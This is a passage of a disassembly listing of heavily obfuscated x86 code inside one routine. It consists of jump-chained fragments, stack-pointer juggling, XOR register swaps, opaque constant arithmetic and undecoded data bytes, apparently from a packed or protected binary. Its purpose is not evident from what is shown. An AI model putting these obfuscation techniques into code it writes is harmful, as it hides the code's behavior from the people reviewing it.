		dd 0FFC584E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54D475:				; CODE XREF: sub_542C3C+9C98j
		add	ecx, 207563D0h
		mov	esi, [esp+3Ch+var_3C]
		add	esp, 4
		mov	eax, [esp+38h+var_38]
		add	esp, 4
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_54F3E3
; ---------------------------------------------------------------------------
		dd 7A7BD135h, 21BE5632h, 1EFA7D4h, 46E95EF0h, 0B8000016h
		dd 37AA01D0h, 2A7B2EBEh, 58C6296Ah, 3BE4DB8h, 5EF001EFh
		dd 5295E9h, 28685500h, 0E9716642h, 0FFFFDB92h, 0FF97A5E9h
		dd 7ECABFFFh, 0F989629Eh, 38D9E9h, 6E3C100h, 0DBF7DBF7h
		dd 0F6EAC381h, 0DA01D768h, 9CE9585Bh
		db 0AFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54D4F7:				; CODE XREF: sub_542C3C+C5EFj
		add	esp, 4
		and	ecx, ebx
		push	[esp+34h+var_34]
		jmp	loc_552E88
; ---------------------------------------------------------------------------
		dd 158C331h, 0BF575BDAh, 4, 0E07EA81h, 0FA0168D4h, 0E07C281h
		dd 875F68D4h, 55C2414h,	19586BFCh, 0FFB156E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54D52D:				; CODE XREF: sub_542C3C+E55Fj
		sub	esp, 4
		mov	[esp+3Ch+var_3C], esi
		mov	esi, 0D4A34D29h
		xor	edi, esi
		jmp	loc_54A6CB
; ---------------------------------------------------------------------------
		dw 1C89h
		dd 54E95024h
		db 15h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54D54B:				; CODE XREF: sub_542C3C+B497j
		push	esp
		jmp	loc_54F59C
; ---------------------------------------------------------------------------
		db 2Dh,	7Ah, 2Eh
		dd 0CF050868h, 0E9462F31h, 0FFFFC3C2h, 33241C31h, 248B241Ch
		dd 3CD36624h, 7E99C24h
		db 97h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54D573:				; CODE XREF: sub_542C3C+4388j
		xchg	ebx, [esp+3Ch+var_3C]
		pop	esp
		mov	[esp+38h+var_38], edx
		mov	edx, 4
		add	ebx, edx
		mov	edx, [esp+38h+var_38]
		add	esp, 4
		push	398Eh
		mov	[esp+38h+var_38], ecx
		mov	ecx, 4
		sub	ebx, 3E796C87h
		add	ebx, ecx
		add	ebx, 3E796C87h
		pop	ecx
		jmp	loc_54FDBB
; ---------------------------------------------------------------------------
		dd 0FF96CDE9h, 94E781FFh, 0E95BDE73h, 2551h, 8804C483h
		dd 3A885AD7h, 0FFFC14E9h, 48156FFh, 0EE4DEA24h,	0EF815F65h
		dd 65EE4DEAh, 0C7815B5Eh, 1, 3515CF81h,	0E7C15ACFh, 0E0EF8105h
		dd 518311Eh, 16D93859h,	0FFFF5CE9h, 4F2168FFh, 0E95D3EFEh
		dd 0FFFFD5F8h, 536C981h, 95E9671Bh
		db 0AAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54D60B:				; CODE XREF: sub_542C3C+CD79j
		mov	[esp+34h+var_34], eax
		jmp	loc_54E903
; ---------------------------------------------------------------------------
		db 28h
		dd 3E959CBh, 81FFFFA3h,	4ECh, 24148900h, 2C7D68h, 24248900h
		dd 4240481h, 0E9000000h, 3A84h,	0E92434FFh, 0FFFFD61Eh
		dd 0FE5BDC88h, 0AC480C4h, 4A49E952h, 0C4830000h, 4C68104h
		dd 52000000h, 57B4BF57h, 814721EBh, 0C97D4FEFh,	8EFC117h
		dd 6B09B850h, 35403ADDh, 3CE00B65h, 0E958C709h,	0FFFF9C02h
		dd 68D5F75Dh, 6BACh, 0FFAEF7E9h, 0C8B66FFh, 0E9575224h
		dd 0FFFFBF23h, 287768h,	112AE900h, 0D7E90000h, 83FFFF95h
		dd 0E98104C4h, 4, 0FFC7ADE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54D6B1:				; CODE XREF: sub_542C3C+959Bj
		add	esi, 6B502810h
		jmp	loc_549EA6
; ---------------------------------------------------------------------------
		dd 815FF831h, 0E93E10E9h, 81C12919h, 0E93E10C1h, 0C875819h
		dd 24248B24h, 24048966h, 0FF959DE9h, 241C89FFh,	0FFC89FE9h
		dd 0D3895CFFh, 73E3815Ah, 0E94E543Ah, 0FFFFDE72h, 94E9DD01h
		dd 0B7FFFFE7h, 0E91DB5CAh, 0FFFFB4D4h
; ---------------------------------------------------------------------------

loc_54D704:				; CODE XREF: sub_542C3C+8FCAj
		push	ebx
		mov	ebx, 14A858A4h
		jmp	loc_546D76
; ---------------------------------------------------------------------------
		db 29h
		dd 0DD015AD5h, 7484C581h, 1C8B6076h, 336EE924h,	0BF570000h
		dd 4, 550DE955h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54D72E:				; CODE XREF: sub_542C3C+C7ADj
		xchg	edi, [esp+30h+var_30]
		pop	esp
		mov	[esp+2Ch+var_2C], ebx
		push	edi
		jmp	loc_55241F
; ---------------------------------------------------------------------------
		db 1
		dd 21252DC8h, 0BB535209h, 68DF02C5h, 17BCE9h
		db 0
; ---------------------------------------------------------------------------

loc_54D74D:				; CODE XREF: sub_542C3C+F83Bj
		add	bl, 46h
		sub	bl, al
		jmp	loc_54C2CC
; ---------------------------------------------------------------------------
		db 0F7h
		dd 0F79592D2h, 685295D5h, 6DE7h, 5A240489h, 8124048Bh
		dd 4C4h, 2E2C100h, 7327CA81h, 0EA812DDBh, 2DFF7FEBh, 23E9D101h
		dd 6600001Dh, 56240C8Bh, 18E9E689h, 0FE000029h,	0AFF180C9h
		dd 8359C828h, 0C0E902ECh
		db 0F1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54D7A3:				; CODE XREF: sub_542C3C+BD31j
		push	[esp+30h+var_30]
		pop	esi
		jmp	loc_54FD60
; ---------------------------------------------------------------------------
		dd 42474FFh, 24048F59h,	6624248Bh, 2404BB0Fh, 0E2ABE99Ch
		dd 8953FFFFh, 4C381E3h,	83000000h, 1C3304C3h, 241C3124h
		dd 5C241C33h, 3C8BF831h, 4EAEE924h, 0FA290000h,	5EA7C281h
		dd 15F3825h, 0C3835AD3h, 241C3304h, 33241C31h, 248B241Ch
		dd 9478E924h, 4401FFFFh, 15E90424h
		db 0E9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54D80B:				; CODE XREF: sub_542C3C+EE66j
		pop	esp
		add	ebx, 29591375h
		jmp	loc_54AFD8
; ---------------------------------------------------------------------------

loc_54D817:				; CODE XREF: sub_542C3C+A0E7j
		add	ebp, edi
		mov	edi, [esp+24h+var_24]
		jmp	loc_54B493
; ---------------------------------------------------------------------------
		db 5Dh,	0C1h, 0E5h
		dd 81DDF708h, 0BAD7FCEDh, 5DEE8933h, 875EF501h,	0E95C242Ch
		dd 0FFFF943Eh, 5258C721h, 8E6154BAh, 0F2F28154h, 0E942BDA3h
		dd 0FFFFE67Dh, 305AD188h, 240C8BC8h, 81E08950h,	4ECh, 24348900h
		dd 4BEh, 5EF00100h, 352E68h, 243C8900h,	4BFh, 0E9F80100h
		dd 3B4Fh, 1E7B85B8h, 7B832D6Eh,	57E96E1Eh, 68FFFFDFh, 12E2h
		dd 0BB241C89h, 6DFE6D29h, 7ED5BD55h, 0A9E96CB7h, 5A000048h
		dd 1A51E9h, 0C7E95D00h
		db 93h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54D8B3:				; CODE XREF: sub_542C3C+5725j
		xchg	ecx, ebx
		push	ecx
		push	esi
		mov	ecx, [esp+40h+var_40]
		add	esp, 4
		mov	esi, [esp+3Ch+var_3C]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+40h+var_40]
		pop	esp
		not	esi
		xchg	esi, ecx
		xor	ebx, ecx
		xor	ecx, ebx
		xor	ebx, ecx
		xor	eax, ebx
		xor	ebx, eax
		xor	eax, ebx
		push	esi
		jmp	loc_5530FF
; ---------------------------------------------------------------------------

loc_54D8EC:				; CODE XREF: sub_542C3C+7867j
		push	esi
		jmp	loc_5503E3
; ---------------------------------------------------------------------------
		dw 8956h
		dd 4C681E6h, 83000000h,	348704C6h, 0DA295C24h, 21B2E9h
		dd 39E95100h, 89000032h, 23E92404h, 0B5FFFFE6h,	59EB28F9h
		dd 0C380D300h, 0EAE95AF9h, 81FFFFDBh, 0A8CCDh, 963BE91Ah
		dd 31ADFFFFh, 0E08950D8h, 405h,	42D00h,	24680000h, 0E9000021h
		dd 27F4h, 4D49EB81h, 0D9015077h, 3F93E9h, 0E9D0F700h, 3301h
		dd 35E95245h
		db 0A8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54D967:				; CODE XREF: sub_542C3C+101C3j
		pop	esp
		mov	ebp, [esp+2Ch+var_2C]
		add	esp, 4

loc_54D971:				; CODE XREF: sub_542C3C:loc_54AE79j
		push	6F2h
		mov	[esp+2Ch+var_2C], ebx
		sub	esp, 4
		mov	[esp+30h+var_30], esp
		add	[esp+30h+var_30], 4
		pop	ebx
		add	ebx, 4
		sub	ebx, 4
		sub	esp, 4
		mov	[esp+30h+var_30], ebx
		push	[esp+30h+var_2C]
		pop	ebx
		pop	[esp+30h+var_30]
		pop	esp
		mov	[esp+28h+var_28], ebx
		mov	eax, [esp+28h+var_28]
		sub	esp, 4
		mov	[esp+2Ch+var_2C], edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+2Ch+var_2C]
		mov	esp, [esp+2Ch+var_2C]
		push	43CEh
		mov	[esp+30h+var_30], edi
		push	1E49h
		jmp	loc_54E0C2
; ---------------------------------------------------------------------------

loc_54D9D7:				; CODE XREF: sub_542C3C+6126j
		add	esp, 4
		jmp	loc_54740E
; ---------------------------------------------------------------------------
		db 66h
		dd 66207668h, 0B7241C89h, 0E9FC004Bh, 2A22h, 4FF525Bh
		dd 4720E924h, 4810000h,	63315924h, 24148B1Eh, 52F1E9h
		dd 0D1C18100h, 81569678h, 31079BC1h, 242C8B0Fh,	65916853h
		dd 42E90000h, 59FFFFF3h, 0E958E100h, 0FFFFC631h, 3BF5E781h
		dd 814F7370h, 382BEFh, 5FF90171h, 704CBB53h, 0C38170C8h
		dd 602D118Dh, 6F59BE56h, 0F3011BB2h, 0A5EB815Eh, 0C12B2630h
		dd 0EFE904EBh, 8BFFFFA5h, 0C4832434h, 74FF5304h, 8F5B0424h
		dd 665C2404h, 9C240CFFh, 0FF9201E9h, 0EE815AFFh, 111436FFh
		dd 5DBAC681h, 37E93411h, 52FFFFE7h, 52A6DBAh, 4EAC137h
		dd 0E906E2C1h, 0FFFF95B0h, 4EC835Eh, 0FF240489h, 0FF042474h
		dd 48B2434h, 4C48324h, 8F04C483h, 248B2404h, 0B30F6624h
		dd 0E99C2404h, 0FFFF91B6h, 148BB904h, 4EFFE924h, 0DA890000h
		dd 1C07E9h, 0EF015A00h,	8B2434FFh, 64E9242Ch, 66000009h
		dd 66242C31h, 66242C33h, 66242C31h, 6652665Eh, 148B6656h
		dd 49B5E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54DAFE:				; CODE XREF: sub_542C3C+A7DEj
		add	eax, 50F824CEh
		add	eax, ebp
		sub	eax, 50F824CEh
		pop	ebp
		mov	edi, eax
		pop	eax
		and	eax, edi
		push	[esp+24h+var_24]
		pop	edi
		push	ecx
		mov	ecx, esp
		push	edx
		push	ecx
		mov	ecx, 605D390Eh
		sub	ecx, 605D390Ah
		mov	edx, ecx
		pop	ecx
		add	ecx, edx
		pop	edx
		add	ecx, 4
		xchg	ecx, [esp+28h+var_28]
		jmp	loc_549EE7
; ---------------------------------------------------------------------------
		dd 0B32A82BAh, 0F2EA8131h, 813F9C26h, 972729F2h, 0D2F74270h
		dd 0C281D2F7h, 925944CBh, 0FFF88DE9h, 0C28166FFh, 0D2E94423h
		dd 50FFFFCCh, 29D0E951h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54DB6A:				; CODE XREF: sub_542C3C+104D9j
		or	ebx, 357B4345h
		jmp	loc_54EC6A
; ---------------------------------------------------------------------------

loc_54DB75:				; CODE XREF: sub_542C3C+9695j
		mov	[esp+18h+var_18], ecx
		mov	ch, 0DCh
		xor	ch, 6Bh
		dec	ch
		not	ch
		and	ch, 0E5h
		push	ebx
		mov	bl, 0BFh
		or	bl, 4Bh
		xor	bl, 0CEh
		jmp	loc_5523FC
; ---------------------------------------------------------------------------
		dw 0C3FEh
		dd 80BCC380h, 0D828ACEBh, 0D171E95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54DBA2:				; CODE XREF: sub_542C3C+FD0Aj
		push	[esp+1Ch+var_18]
		pop	ebx
		pop	[esp+1Ch+var_1C]
		mov	esp, [esp+18h+var_18]
		push	ecx
		push	edi
		push	1D003051h
		jmp	loc_54879F
; ---------------------------------------------------------------------------
a1Sc		db '1Íéc:',0
		align 10h
		dd 0E92434FFh, 4DD6h
; ---------------------------------------------------------------------------

loc_54DBC8:				; CODE XREF: sub_542C3C+7027j
		add	ebp, 15104EBCh
		push	[esp+40h+var_40]
		mov	edi, [esp+44h+var_44]
		add	esp, 4
		add	esp, 4
		jmp	loc_54ECF5
; ---------------------------------------------------------------------------
		db 68h
		dd 528659F4h, 5386E95Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54DBEA:				; CODE XREF: sub_542C3C+D36Fj
		pop	eax
		sub	esp, 4
		mov	[esp+3Ch+var_3C], ebp
		jmp	loc_55256B
; ---------------------------------------------------------------------------
		dw 0F788h
		dd 8B5BFD88h, 34E92414h, 57000038h, 311F53BFh, 71336853h
		dd 3C890000h, 240CFF24h, 0BDCEE95Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54DC1A:				; CODE XREF: sub_542C3C+68D3j
		push	small 16E3h
		mov	word ptr [esp-0Ah+arg_4+2], dx
		mov	dl, 0E2h
		add	bl, dl
		mov	dx, word ptr [esp-0Ah+arg_4+2]
		add	esp, 2
		movzx	eax, al
		jmp	dword ptr [edi+eax*4]
; ---------------------------------------------------------------------------
		dw 17E9h
		dd 50FFFFF0h, 0EC8056B4h, 9BCC807Bh, 0E480DCF6h, 42B55122h
		dd 17ECE9h, 15B95100h, 0E9244C67h, 1061h, 89240C89h, 4C181E1h
		dd 81000000h, 4C1h, 240C8700h, 9004E95Ch, 0D125FFFFh, 0F7489954h
		dd 3C3B25D8h, 0BC2D67BBh, 210EB1FCh, 6E958C5h, 8B00001Ah
		dd 0B9E92424h, 8BFFFFDCh, 4312424h, 0D7E99C24h,	66FFFF8Fh
		dd 6624048Fh, 4EC8352h,	66240489h, 810859B8h, 4ECh, 2C17E900h
		dd 148B0000h, 4C48324h,	0FFC0B60Fh, 48B8734h, 89535524h
		dd 4C381E3h, 83000000h,	1C8704EBh, 24248B24h, 24048F54h
		dd 4240481h, 8B000000h,	0C483242Ch, 0B3CAE904h,	0EC81FFFFh
		dd 4, 68241489h, 4DF3h,	0BF243C89h, 2D307857h, 7C4FE781h
		dd 60E930EFh, 89000010h, 0E589242Ch, 125CBB53h,	0C3810ABBh
		dd 0F544EDA8h, 7484BA52h, 0DCE96076h
		db 0F9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54DD33:				; CODE XREF: sub_542C3C+1050Cj
		add	[esp-0Eh+arg_E], 1D6B75AEh
		add	[esp-0Eh+arg_E], 6AFB7D3Fh
		jmp	loc_549F46
; ---------------------------------------------------------------------------

loc_54DD48:				; CODE XREF: sub_542C3C+56EFj
		pop	esp
		jmp	loc_54BBAB
; ---------------------------------------------------------------------------

loc_54DD4E:				; CODE XREF: sub_542C3C+C99Cj
		push	esp
		jmp	loc_5471BF
; ---------------------------------------------------------------------------
		dd 295AD689h, 0B501E9C6h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54DD5E:				; CODE XREF: sub_542C3C+67D2j
		add	ebp, 612BEh
		add	ebp, 2E6652F1h
		jmp	loc_5480DF
; ---------------------------------------------------------------------------
		db 68h
		dd 6A4Ch, 24048F54h, 4EC81h, 0C890000h,	55B85024h, 0E928F60Fh
		dd 0FFFF91FBh, 98E95866h, 81000039h, 1449C6F1h,	4E1C15Ah
		dd 0D93DF181h, 0CE31DEE8h, 43EB8159h, 815ED27Ch, 0D0480C3h
		dd 81F30161h, 0D0480EBh, 43C38161h, 5E5ED27Ch, 2EB81h
		dd 57E90000h
		db 45h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54DDCB:				; CODE XREF: sub_542C3C+64F9j
		xor	eax, esi
		jmp	loc_5478E3
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 9CC83B24h, 0FF8E9DE9h, 0D2C781FFh, 161670Ch,	8B5B5FF8h
		dd 0C483240Ch, 4B322D04h, 0D8014BB6h, 0B64B3205h, 32F5054Bh
		dd 0BB536FEFh, 0ADC7574h, 0FFFFEB81h, 5743FFFFh, 0A264FEBFh
		dd 0B4E94F4Ch, 5BFFFF93h, 0E904C483h, 27A2h, 335FF801h
		dd 4312404h, 24043324h,	124248Bh, 0E99C2404h, 0FFFF8E42h
		dd 127721BEh, 0D6F7467Bh, 0E903EEC1h, 3643h, 6DBB53ADh
		dd 0E935706Eh, 0FFFFEE93h
; ---------------------------------------------------------------------------

loc_54DE54:				; CODE XREF: sub_542C3C+10073j
		sub	ecx, 62897F44h
		add	ebp, ecx
		pop	ecx
		xchg	ebp, [esp+2Ch+var_2C]
		pop	esp
		jmp	loc_548EC3
; ---------------------------------------------------------------------------

loc_54DE66:				; CODE XREF: sub_542C3C+9ABFj
		add	eax, 5F9D2CF5h
		add	eax, 63585BD4h
		jmp	loc_54AD89
; ---------------------------------------------------------------------------
		db 0B9h, 2Fh, 43h
		dd 0E1D10F73h, 0B92BC181h, 0CB291B97h, 81C30159h, 7E3F89C3h
		dd 0A1C3813Ah, 685A7E65h, 6EBEh, 81241C89h, 4ECh, 24148900h
		dd 0A2E9E289h, 0E9000012h, 0FFFF8DCAh, 316CC381h, 5158523Dh
		dd 0A62111B9h, 59CB2902h, 1A2CE9h, 6DBE5600h, 0E935706Eh
		dd 0FFFFDE23h
; ---------------------------------------------------------------------------

loc_54DED0:				; CODE XREF: sub_542C3C+E6A6j
		add	ebx, 29781F28h
		add	ebx, 164F2ECAh
		push	eax
		mov	eax, 101B7AD3h
		jmp	loc_548BD1
; ---------------------------------------------------------------------------
		db 80h
		dd 0D2F603C2h, 334968h,	24048900h, 59E934B4h, 5DFFFFDDh
		dd 8B1C7709h, 0FBE92434h
		db 0A7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54DF07:				; CODE XREF: sub_542C3C+E84Aj
		xor	eax, edx
		xor	edx, eax
		push	eax
		push	esi
		mov	esi, esp
		jmp	loc_5522D7
; ---------------------------------------------------------------------------

loc_54DF14:				; CODE XREF: sub_542C3C+F80Bj
		add	eax, ebx
		pop	ebx
		jmp	loc_5526EA
; ---------------------------------------------------------------------------
		dd 0D9C0E95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54DF22:				; CODE XREF: sub_542C3C+8378j
		pop	edi
		push	ebx
		mov	ebx, 3FF16645h
		jmp	loc_548471
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 4, 4BA52h, 0D3290000h, 241C875Ah, 241C895Ch,	305E951h
		dd 0A680000h, 8900002Bh, 0C0E9240Ch
		db 0EAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54DF57:				; CODE XREF: sub_542C3C+D3EBj
		not	edx
		xchg	edx, edi
		push	ebx
		mov	ebx, 0C7F33B8h
		jmp	loc_54AECC
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 6C184D01h, 0EB81F301h, 6C184D01h, 2073EB81h,	875E28A8h
		dd 248B241Ch, 68C80F24h, 46F6h,	0E9240489h, 0FFFF8CEAh
		dd 2905D8F7h, 3556B704h, 27795718h, 0B739B305h,	35E7E997h
		dd 55A0000h, 5A9E0A06h,	0B1666C35h, 16AC0523h, 506835C5h
		dd 8900007Bh, 6FBF243Ch, 1828115h, 0C7015FF8h, 56CF0158h
		dd 4D2F9DBEh, 0FF56461Ch, 0F75E240Ch, 0EF2AE9D6h, 28FFFFFh
		dd 0FF8C95E9h, 4EC81FFh, 89000000h, 9EBB241Ch, 2937E246h
		dd 0CF295BDFh, 0FFF00EE9h, 815966FFh, 4ECh, 240C8900h
		dd 1551E9h
		db 0
; ---------------------------------------------------------------------------

loc_54E00D:				; CODE XREF: sub_542C3C+CE20j
		xchg	edx, [esp+34h+var_34]
		mov	esp, [esp+34h+var_34]
		jmp	loc_54E2BB
; ---------------------------------------------------------------------------

loc_54E018:				; CODE XREF: sub_542C3C+95FAj
		push	edx
		push	ecx
		mov	ecx, 187F2DCEh
		jmp	loc_551345
; ---------------------------------------------------------------------------
		dd 8B59CA29h, 0C4812404h, 4, 31241433h,	0FCE92414h, 8300000Bh
		dd 48904ECh, 0B4B55124h, 8008ED80h, 7BE91CF5h, 6600000Fh
		dd 9C240401h, 0FF8C21E9h, 24048BFFh, 39E95453h,	31FFFFE6h
		dd 1C33241Ch, 24248B24h, 0FFB922E9h, 240C87FFh,	8924248Bh
		dd 478F2404h, 2434FF40h, 8124048Bh, 4C4h, 42E8E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54E08E:				; CODE XREF: sub_542C3C+843Cj
		mov	[esp+34h+var_34], edi
		push	3B5Bh
		mov	[esp+38h+var_38], eax
		xor	[esp+38h+var_38], 170C30CDh
		mov	edi, [esp+38h+var_38]
		jmp	loc_5520C8
; ---------------------------------------------------------------------------
		dd 81E68956h, 4C6h, 4EE8300h, 5C243487h, 89242C89h, 352EE9E5h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54E0C2:				; CODE XREF: sub_542C3C+AD96j
		mov	[esp+34h+var_34], ecx
		mov	ecx, 28A27B47h
		mov	edi, ecx
		mov	ecx, [esp+34h+var_34]
		push	eax
		sub	esp, 4
		jmp	loc_54D54B
; ---------------------------------------------------------------------------
		dd 53F4F781h, 0E94F1689h, 0FFFF96E6h, 8853D4F6h, 0E9DA88E3h
		dd 491Ah, 0F680CEFEh, 0E9CEFE9Ch, 0FFFFCE27h, 31243433h
		dd 34332434h, 24248B24h, 81242489h, 42404h, 63E90000h
		dd 81FFFF8Bh, 4ECh, 9B1E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54E122:				; CODE XREF: sub_542C3C+A08Fj
		push	eax
		dec	[esp+2Ch+var_2C]
		jmp	loc_551B19
; ---------------------------------------------------------------------------

loc_54E12B:				; CODE XREF: sub_542C3C+59D5j
		sub	eax, 864B02BFh
		jmp	loc_551008
; ---------------------------------------------------------------------------
		db 54h,	8Fh, 4
		dd 24048124h, 4, 4C2815Ah, 53000000h, 5D226852h, 425A6120h
		dd 595FEA81h, 0C2810C91h, 0AB70FC3Eh, 0BE9D389h
		db 0E5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54E163:				; CODE XREF: sub_542C3C+D031j
		add	esi, 0B5067Dh
		pop	eax
		push	esi
		push	ebp
		mov	ebp, 18263B29h
		mov	esi, ebp
		mov	ebp, [esp+24h+var_24]
		add	esp, 4
		mov	ebx, esi
		pop	esi
		push	6B03h
		mov	[esp+20h+var_20], edi
		jmp	loc_550AC5
; ---------------------------------------------------------------------------
		db 87h,	2Ch, 24h
		dd 6124248Bh, 0B2B8E99Dh, 0C33FFFFh, 240C3124h,	0E9240C33h
		dd 0FFFFD303h, 0C1D6F74Eh, 0C68102EEh, 4A410A23h, 34A2EE81h
		dd 8F6842B9h, 89000001h, 4FBD242Ch, 29194838h, 0E9565DEEh
		dd 0FFFFF82Eh, 0E924048Fh, 0FFFFD653h, 34FFF301h, 0C4835E24h
		dd 4C38104h, 87000000h,	0A4E9241Ch, 8900004Dh, 685657E2h
		dd 7AC946C1h, 8124348Bh, 4C4h, 0C8EE8100h, 81712712h, 1AC756EEh
		dd 8BF7899Ch, 0C4832434h, 0A7B85004h, 316D876Ch, 4A27E9C7h
		dd 0C1810000h, 0B685DE60h, 8159CA89h, 2B2888C2h, 2CB4E97Dh
		dd 0E9590000h, 0FFFFB2E4h, 0A2F78166h, 0ADB4E9D6h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54E242:				; CODE XREF: sub_542C3C+A2C7j
		xchg	esi, [esp+34h+var_34]
		mov	esp, [esp+34h+var_34]
		xor	edx, edx
		jmp	loc_551C0E
; ---------------------------------------------------------------------------
		db 0B1h
		dd 59CB887Dh, 0BB0453B0h, 0BB2CD800h, 0E9C6205Bh, 1EF2h
; ---------------------------------------------------------------------------

loc_54E264:				; CODE XREF: sub_542C3C+5FDFj
		add	esi, ebp
		pop	ebp
		jmp	loc_5529BF
; ---------------------------------------------------------------------------

loc_54E26C:				; CODE XREF: sub_542C3C+EA0Cj
		push	[esp+38h+var_34]
		mov	edx, [esp+3Ch+var_3C]
		add	esp, 4
		pop	[esp+38h+var_38]
		jmp	loc_54C680
; ---------------------------------------------------------------------------

loc_54E281:				; CODE XREF: sub_542C3C+4E1Aj
		add	esp, 4
		push	6929h
		mov	[esp+38h+var_38], edx
		push	ecx
		mov	ch, bl
		jmp	loc_550BBD
; ---------------------------------------------------------------------------
		db 1
		dd 0D60159CAh, 207FE95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54E2A2:				; CODE XREF: sub_542C3C+9FECj
		mov	edx, 9EE184Dh
		jmp	loc_54E5AF
; ---------------------------------------------------------------------------

loc_54E2AC:				; CODE XREF: sub_542C3C+7A95j
		pop	edi
		add	esp, 4
		shr	eax, 18h
		xor	eax, ecx
		push	esi
		jmp	loc_54A95B
; ---------------------------------------------------------------------------

loc_54E2BB:				; CODE XREF: sub_542C3C+B3D7j
		push	ecx
		jmp	loc_547246
; ---------------------------------------------------------------------------
		db 29h,	0CBh, 59h
		dd 1C8BD831h, 4C48124h,	0E9000000h, 29FDh, 0E9C83058h
		dd 39A7h, 4244C01h, 2434FF59h, 4C4815Eh, 81000000h, 4C6h
		dd 4C68300h, 0E9243433h, 0FFFFB8D9h
; ---------------------------------------------------------------------------

loc_54E2FC:				; CODE XREF: sub_542C3C+C034j
		xor	ebx, 0DF316A51h
		mov	ebp, ebx
		pop	ebx
		jmp	loc_551427
; ---------------------------------------------------------------------------
		dw 0F181h
		dd 0AD4F3DA5h, 0EEE9CF01h, 2DFFFFCEh, 11EA1BFFh, 0B0340525h
		dd 35D0F74Dh, 48103001h, 8158C629h, 0EA3F40F6h,	5EF13170h
		dd 410A062Dh, 55C82913h, 0FFD400E9h, 4C381FFh, 0E9000000h
		dd 0FFFFB6B5h, 6FB7BD55h, 5155541Dh, 0E941595Dh, 0FFFFF85Dh
		dd 6858h, 4800000h, 3C28E324h, 242C8024h, 243C8AE3h, 0C004C483h
		dd 0EFC005E7h, 68EFD004h, 7249h, 0E9240C89h, 3B1Eh
; ---------------------------------------------------------------------------

loc_54E388:				; CODE XREF: sub_542C3C+EC6Fj
		add	al, ch
		add	al, 35h
		pop	ecx
		push	611h
		mov	[esp+34h+var_34], ebx
		jmp	loc_54FCAA
; ---------------------------------------------------------------------------
		dw 0D601h
		dd 5A2434FFh, 4C481h, 0A5E90000h, 81FFFFDBh, 7189EFE9h
		dd 59CF09CCh, 0C067C781h, 0FA899EAEh, 0F0CA815Fh, 0E91D686Fh
		dd 1A50h, 835EF289h, 0F28101C2h, 4B08B7C8h, 0BA29F62Dh
		dd 0E9D02941h, 0FFFF9293h, 81241C8Bh, 4C4h, 24048F00h
		dd 9CC1385Ch, 0FF8885E9h, 4C481FFh, 81000000h, 4ECh, 240C8900h
		dd 0B25278B1h, 5AD120BFh, 0C059B652h, 0FE8608E6h, 0FE86CFFEh
		dd 66FFC680h, 802DB450h, 7AE9FDC6h, 29000035h, 48759C8h
		dd 8F545C24h, 0EC812404h, 4, 0FF90E7E9h, 63A4BDFFh, 50E9681Ah
		dd 81FFFFD3h, 4C4h, 4C48100h, 87000000h, 0E95C243Ch, 0FFFFFBF3h
		dd 553AEA81h, 3AE943D8h, 52FFFFD1h, 0B951E289h,	4, 7BE9CA01h
		dd 8900002Bh, 0C1815EF3h, 4EE47760h, 0DF68D901h, 89000067h
		dd 0B8502414h, 5D8635D7h, 5E4189BAh, 0DA92E9F1h, 0D828FFFFh
		dd 0EB86E951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54E4A2:				; CODE XREF: sub_542C3C+C350j
		xor	[esp+34h+var_34], eax
		xor	eax, [esp+34h+var_34]
		mov	esp, [esp+34h+var_34]
		mov	[esp+34h+var_34], edx
		jmp	loc_550471
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0F28105EAh, 58DC1E04h, 0D2F7D2F7h, 0C8CDEA81h, 0D6014B48h
		dd 26EE815Ah, 1CDB395h,	24348BF1h, 2104C483h, 0E959384Ah
		dd 411Bh, 405h,	24048700h, 45C5805Ch, 3FE9EB28h
		db 0FDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54E4F3:				; CODE XREF: sub_542C3C+E00Aj
		sub	edx, 1D84448Ah
		jmp	loc_5523B4
; ---------------------------------------------------------------------------
		dw 0ED83h
		dd 0EEBB53FFh, 815D3F36h, 721FA9E3h, 0E3814B3Ch, 0A641F25h
		dd 828F381h, 0DD295327h, 5DEA295Bh, 0FFB59FE9h,	0AC685CFFh
		dd 8900007Bh, 0E6892434h, 0FFE806E9h, 81FA29FFh, 32161EAh
		dd 0D0015F56h, 8324148Bh, 0D80104C4h, 0F561352Dh, 0F33DE92Dh
		dd 8B66FFFFh, 0EC832404h, 240C8904h, 4EC81h, 24890000h
		dd 0C25BE924h
